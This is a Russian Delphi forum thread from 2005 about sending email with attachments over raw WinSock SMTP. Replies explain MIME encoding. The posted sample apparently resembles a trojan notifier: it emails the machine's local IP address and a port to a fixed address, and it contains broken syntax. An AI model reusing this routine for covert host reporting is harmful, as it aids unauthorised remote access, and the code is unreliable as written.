Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.12.11;
Скачать: CL | DM;

Вниз

Отправка письма с аттачем с помощью WinSock   Найти похожие ветки 

 
KGC ©   (2005-11-26 03:25) [0]

Здравствуйте уважаемые.
Заинтересовался я отправкой почты, посидел почитал нашёл пару примеров, да вот никак не могу найти а как к письму прикрепить файл или несколько ?
Интересует реализация с помощью сокетов без всяких компоненток.
Заранее благодарен .


 
KGC ©   (2005-11-26 06:22) [1]

Вот кусок кода из примера, а как сюда файлы прикреплять ума не приложу.

function SMTPRecvReply(MailSocket: TSocket): Word;
var
 Buffer: array[1..1024] of Byte;
 Err: Integer;
 BufStr: string;
begin
 BufStr := "";
 Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
 for Err := 1 to 3 do
   BufStr := BufStr + Chr(buffer[Err]);
 try
   Result := StrToInt(BufStr);
 except
   Result := 0;
 end;
end;

function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
 Buffer: array[1..1024] of Byte;
 Err: Integer;
begin
 Result := FALSE;
 ZeroMemory(@Buffer, SizeOf(Buffer));
 if Length(Str) > 1000 then
   Exit;
 for Err := 1 to Length(Str) do
   Buffer[Err] := Ord(Str[Err]);
 Buffer[Err] := 13;
 Buffer[Err + 1] := 10;
 Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
 if Err > 0 then
   Result := TRUE;
end;

function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
 MailSocket: TSocket;
 MailSent: Boolean;
 MTime: TSystemTime;
 SMTPServer: TSockAddrIn;
 Step: Byte;
 OutOfSend: Boolean;
begin
 MailSent := FALSE;
 OutOfSend := FALSE;
 MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
 SMTPServer.sin_family := AF_INET;
 SMTPServer.sin_port := htons(25);
 SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
 Step := 0;
 if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
   repeat
     case SMTPRecvReply(MailSocket) of
       220: SMTPSendString(MailSocket, "HELO server.com");
       250: case STEP of
           0:
             begin
               SMTPSendString(MailSocket, "MAIL FROM:" + mail);
               Inc(Step);
             end;
           1:
             begin
               SMTPSendString(MailSocket, "RCPT TO:" + mail);
               Inc(Step);
             end;
           2:
             begin
               SMTPSendString(MailSocket, "DATA");
               Inc(Step);
             end;
           3:
             begin
               SMTPSendString(MailSocket, "QUIT");
               Inc(Step);
             end;
         end;
       354:
         begin
           SMTPSendString(MailSocket, "From:" + ServerID);
           SMTPSendString(MailSocket, "To:" + UserName);
           SMTPSendString(MailSocket, "Subject:" + LocalIPS + " : " + port +
             " At " + DateTimeToStr(Now));
           SMTPSendString(MailSocket, CRLF);
           for count := 1 to (txt.Count - 1) do
             SMTPSendString(MailSocket, txt[count]);
           SMTPSendString(MailSocket, CRLF + "." + CRLF);
         end;
       221:
         begin
           OutOfSend := True;
           MailSent := True
         end;
     else
       OutOfSend := True;
       file: //!Case
     end;
   until OutOfSend;
 CloseSocket(MailSocket);
end;
ExitThread(0);
end;


 
Reindeer Moss Eater ©   (2005-11-26 10:24) [2]

Никаких файлов в почтовом сообщении нет.
Есть тело сообщения.
В теле сообщения помещается его текст и следом за ним содержимое файла кодированное по MIME


 
palva ©   (2005-11-26 10:26) [3]

Письмо с вложениями должно находиться у вас в массиве txt.
Сохраните из Outlook Express какое-нибудь письмо с вложениями. Это будет файл с расширением eml. Вот так и должно выглядеть ваше письмо, только начальные заголовки (с адресом и др.) нужно отбросить. Вы их уже передаете в своей программе. Если непонятно, читайте документ RFC-1521 или его частичный перевод http://www.free.net/Info/voronin-02/index.htm



Страницы: 1 вся ветка

Текущий архив: 2005.12.11;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.032 c
4-1127747149
NikNet
2005-09-26 19:05
2005.12.11
Как на фон TListView вставить рисунок рабочего стола


2-1132743270
BFG9k
2005-11-23 13:54
2005.12.11
Некорректная работа ShowWindow


4-1128974346
Silver...
2005-10-10 23:59
2005.12.11
"RegisterHotKey" - оставить и активному приложению...


10-1108974148
Uran
2005-02-21 11:22
2005.12.11
Экспорт из Excel в dbf


2-1132649035
denissoft
2005-11-22 11:43
2005.12.11
Фокусы с TWebBrowser.